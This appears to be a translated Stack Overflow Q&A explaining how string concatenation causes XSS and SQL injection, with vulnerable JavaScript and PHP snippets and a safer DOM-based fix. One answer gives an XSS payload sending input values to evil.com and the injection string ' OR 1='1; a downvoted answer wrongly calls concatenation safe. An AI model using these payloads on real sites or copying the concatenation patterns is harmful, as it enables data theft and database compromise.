为什么/如何连接会导致XSS或SQL注入漏洞?

时间:2011-12-05 02:18:58

标签: php javascript security concatenation

我最近被告知(在这里)连接你的Javascript会导致XSS漏洞。我已经在这里和谷歌做了我的研究,以找出为什么这么糟糕,但我没有看到它。

第1部分 - Javascript:显然这样的事情是不安全的。为什么?你应该怎么做呢?

// part of a script dynamically making table rows
var el = document.createElement('div');
el.innerHTML = '<input type="text"  id="myId'+id+'"  />';
cellOne.appendChild(el);

第2部分 - MySQL:我告诉你,当你连接SQL时,它会让你暴露于SQL注入。我不确定concat SQL的含义是什么。我假设他们不是在讨论SQL concat函数。我猜他们的意思是:

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";

或者也许?

$sql = " SELECT `col` FROM `table` WHERE `col` = '".$myFilteredVariable."' ";
     $sql .= " AND `col2` = '".$myvar.'";

这会让你暴露于SQL注入吗?

SQL部分是学术性的。我使用PDO来防止SQL注入。

3 个答案:

答案 0 :(得分:3)

第1部分

如果id来自页面上持续存在的用户输入,则可能是这样。

id变量可能包含...

" onchange="(new Image).src='http://evil.com/user-input=' + this.value;" bla="

第2部分

除非使用正确的机制转义这些变量,否则存在漏洞。

$myvar变量可能包含...

' OR 1='1

答案 1 :(得分:2)

你会怎么做呢:

var el = document.createElement('div');
var input = document.createElement("input");
input.type = 'text';
input.id = 'myId' + id;
el.appendChild(input);
cellOne.appendChild(el);

请注意,这样更安全,因为.id无法注入任意html

有关XSS攻击媒介的更多信息,建议您阅读OWASP xss article

答案 2 :(得分:-2)

  

这是一个串联问题,而不是xss或sql注入的问题。

连接本身没有错。这是非常安全的操作。